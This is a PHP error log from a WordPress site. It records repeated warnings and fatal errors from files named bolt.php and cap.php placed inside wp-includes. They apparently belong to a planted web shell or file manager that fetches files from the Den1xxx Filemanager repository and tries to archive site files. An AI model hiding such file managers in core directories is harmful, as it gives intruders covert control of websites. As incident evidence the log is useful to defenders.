[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
